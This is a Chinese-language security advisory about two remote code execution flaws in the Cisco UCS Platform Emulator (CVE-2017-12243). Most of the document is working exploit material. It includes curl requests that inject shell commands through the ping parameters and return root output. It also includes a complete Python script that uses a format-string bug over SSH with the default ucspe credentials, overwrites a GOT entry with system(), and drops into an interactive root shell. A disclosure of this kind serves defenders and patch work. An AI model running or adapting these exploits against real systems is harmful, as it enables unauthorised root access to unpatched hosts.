SSD安全公告-思科UCS平台模拟器远程代
Credit to Author: SSD / Maor Schwartz| Date: Tue, 14 Nov 2017 12:27:06 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
See our full scope at: https://blogs.securiteam.com/index.php/product_scope
漏洞概要
以下安全公告描述了在思科UCS平台模拟器3.1(2ePE1)中发现的两个远程代码执行漏洞。
思科UCS平台模拟器是捆绑到虚拟机(VM)中的Cisco UCS Manager应用程序,VM包含模拟思科统一计算系统(Cisco UCS)硬件通信的软件,思科统一计算系统(Cisco UCS)硬件由思科UCS Manager配置和管理。 例如,你可以使用思科UCS平台模拟器来创建和测试支持的思科UCS配置,或者复制现有的思科UCS环境,以进行故障排除或开发。
在思科UCS平台模拟器中发现的漏洞是:
- 未经验证的远程代码执行漏洞
- 经认证的远程代码执行漏洞
一名独立的安全研究者向 Beyond Security 的 SSD 报告了该漏洞。
厂商响应
厂商已经发布了该漏洞的补丁,并发布以下CVE: CVE-2017-12243
漏洞详细信息
未经验证的远程代码执行漏洞
由于用户的输入在传递给IP/settings/ping函数时没有进行充分的过滤,导致未经身份验证的攻击者可以通过ping_NUM和ping_IP_ADDR参数注入命令,这些命令将在远程机器上以root身份执行。
漏洞证明
通过发送以上请求之一后,思科 UCS响应如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 | /sample output/ ================ demo@kali:~/poc$ curl –k “http://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#” PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.017 ms —– 127.0.0.1 ping statistics —– 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms Linux ucspe 2.6.32–431.el6.i686 #1 SMP Fri Nov 22 00:26:36 UTC 2013 i686 i686 i386 GNU/Linux demo@kali:~/poc$ curl “http://IP/settings/ping?ping_num=1%3bid%3b#&ping_ip_addr=127.0.0.1” uid=0(root) gid=0(root) groups=0(root) |
经认证的远程代码执行漏洞
思科UCS平台模拟器容易受到格式字符串漏洞的攻击,导致远程代码执行。
思科UCS平台模拟器默认运行一个SSH服务器,通过ssh登录的用户运行以下命令:
1 | show sel %x |
得到下面的响应:
1 | “Error: Invalid rack server value: …somedigits..” |
可以看到,通过执行ssh“show sel %x”命令,我们用libsamvsh.so中的system函数覆写了_ZN7clidcos15CommandEmulator16cli_param_filterEPKc函数的入口。
漏洞证明
为了利用此漏洞,请按照以下说明操作:
使用以下用户名和密码在vm上安装ucspe(安装全部3个网卡):
- 默认的ucspe用户:ucspe
- 默认的ucspe密码:ucspe
运行ucspe并记下ucspe的ip地址(在控制台可以看到“Connected to IP: ….”)
在这次漏洞证明中,我们将会使用ip-192.168.1.43。
在另一台机器上打开两个终端(例如Kali)
首先,在第一个终端上执行如下操作:
- 创建poc目录,将poc4_ucspe_3.1.2e.py放入poc目录,然后将当前目录改为poc目录
- 创建fifo1:
- 创建输出目录:
- 使用从fifo1重定向的stdin运行ssh,并将stdout重定向到output/log文件:
1 | mkfifo fifo1 |
1 | mkdir output |
1 2 3 | tail –f fifo1 | ssh ucspe@192.168.1.43 > output/log # use default credentials ucspe/ucspe |
然后,第二个终端上执行如下操作:
- 将当前目录更改为poc
- 运行 poc4_ucspe_3.1.2e.py
执行后的输出如下:
终端1
1 2 3 4 5 6 7 8 9 10 | demo@kali:~/poc$ mkfifo fifo1 demo@kali:~/poc$ mkdir output demo@kali:~/poc$ tail –f fifo1 | ssh ucspe@192.168.1.43 > output/log Pseudo–terminal will not be allocated because stdin is not a terminal. The authenticity of host ‘192.168.1.43 (192.168.1.43)’ can‘t be established. RSA key fingerprint is SHA256:qEdgqNFyfqA2BU1+cH9rmYrsIOiQr/NlCpgAyzrX70Y. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added ‘192.168.1.43‘ (RSA) to the list of known hosts. uucspe@192.168.1.43′s password: TERM environment variable not set. |
终端2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | demo@kali:~/poc$ python poc4_ucspe_3.1.2e.py Going through some menus please wait a moment.. You should now see on the other terminal message simmilar to “Error: Already in local-mgmt shell..” [.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from libsamvsh.so -> 0x6b9f64 [.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt -> 0x6d7a70 [.] Dumping snprintf address from libc -> 0x7791210 [.] Calculating libc system address -> libc base addr = 0x7746000 -> system addr = 0x7780f60 [.] Sending payload.. show sel %62c%28$nAAA show sel %237c%28$nAA show sel %86c%28$nAAA show sel %229c%28$nAA Sleep for fork adjustment.. Ok please type your commands (type exit for exit) > id [‘uid=0(root) gid=0(root) groups=0(root)’] > |
poc4_ucspe_3.1.2e.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 | import struct import time import binascii def generate_payload(addr): basepayload = “show sel AAAAAAAAAAAA” aa = (addr >> 24 & 0xff) bb = (addr >> 16 & 0xff) cc = (addr >> 8 & 0xff) dd = (addr >> 0 & 0xff) if aa<34: aa_c_payload = aa + 222 else: aa_c_payload = aa – 34 if bb<34: bb_c_payload = bb + 222 else: bb_c_payload = bb – 34 if cc<34: cc_c_payload = cc + 222 else: cc_c_payload = cc – 34 if dd<34: dd_c_payload = dd + 222 else: dd_c_payload = dd – 34 aa_payload = “%” + str(aa_c_payload) + “c%28$n” bb_payload = “%” + str(bb_c_payload) + “c%28$n” cc_payload = “%” + str(cc_c_payload) + “c%28$n” dd_payload = “%” + str(dd_c_payload) + “c%28$n” aap = basepayload[:9] + aa_payload + basepayload[len(aa_payload)+9:] bbp = basepayload[:9] + bb_payload + basepayload[len(bb_payload)+9:] ccp = basepayload[:9] + cc_payload + basepayload[len(cc_payload)+9:] ddp = basepayload[:9] + dd_payload + basepayload[len(dd_payload)+9:] return [aap,bbp,ccp,ddp] def clearlog(): fo = open(“output/log”,“w”) fo.truncate() fo.close() def readlog(): logread = [line.strip(‘n x00’) for line in open(‘output/log’)] return logread def sendcommand(cmd): f=open(“fifo1”, “a+”) f.write(cmd+“n”) f.close() def dump(adr, frmt=‘p’): clearlog() leak_part = “show sel %28${}”.format(frmt) raw_addr = struct.pack(“I”, adr) if “x20” in raw_addr: print “space!” out = leak_part + “AAAAAAA”+raw_addr sendcommand(out) time.sleep(2) e = readlog()[0] outbin = e.split(“AAAAAAA”)[0].split(“: “)[2] clearlog() return outbin+“x00” def starting_point(): clearlog() out = “show sel %147$x” sendcommand(out) time.sleep(2) e = readlog()[0] outbin = e.split(“AAAAAAA”)[0].split(“:”)[2] clearlog() return outbin clidcos_step = 0x1DB0C libc_emulator_snprintf = 0x0004b210 libc_emulator_system = 0x0003af60 print “Going through some menus please wait a moment..” sendcommand(“c”) time.sleep(1) sendcommand(“show version”) time.sleep(1) sendcommand(“connect local-mgmt”) time.sleep(1) sendcommand(“connect local-mgmt”) time.sleep(1) sendcommand(“show version”) time.sleep(5) clearlog() print “You should now see on the other terminal message simmilar to “Error: Already in local-mgmt shell..” “ print “[.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from libsamvsh.so” off3 = int(starting_point(),16) print ” -> “ + hex(off3) print “[.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt” clidcosGOTPLT = off3+clidcos_step print ” -> “ + hex(clidcosGOTPLT) print “[.] Dumping snprintf address from libc” libc_printf = dump(clidcosGOTPLT+8,‘s’)[:4] libc_tmp1_hex = binascii.hexlify(libc_printf[::–1]) libc_snprintf_addr = int(libc_tmp1_hex, 16) print ” -> “ + hex(libc_snprintf_addr) print “[.] Calculating libc system address” libc_base_addr = libc_snprintf_addr – libc_emulator_snprintf print ” -> libc base addr = “ + hex(libc_base_addr) libc_system_addr = libc_base_addr + libc_emulator_system print ” -> system addr = “ + hex(libc_system_addr) print “n[.] Sending payload..” sendcommand(generate_payload(libc_system_addr)[3] + struct.pack(“I”, clidcosGOTPLT)) print generate_payload(libc_system_addr)[3] sendcommand(“show version”) time.sleep(1) sendcommand(generate_payload(libc_system_addr)[2] + struct.pack(“I”, clidcosGOTPLT+1)) print generate_payload(libc_system_addr)[2] sendcommand(“show version”) time.sleep(1) sendcommand(generate_payload(libc_system_addr)[1] + struct.pack(“I”, clidcosGOTPLT+2)) print generate_payload(libc_system_addr)[1] sendcommand(“show version”) time.sleep(1) sendcommand(generate_payload(libc_system_addr)[0] + struct.pack(“I”, clidcosGOTPLT+3)) print generate_payload(libc_system_addr)[0] sendcommand(“show version”) time.sleep(1) print “Sleep for fork adjustment..” time.sleep(5) sendcommand(“ssh /bin/bash”) print “Ok please type your commands (type exit for exit)” time.sleep(2) while True: n = raw_input(“> “) if ‘exit’ in n: break clearlog() sendcommand(n) time.sleep(2) print readlog() |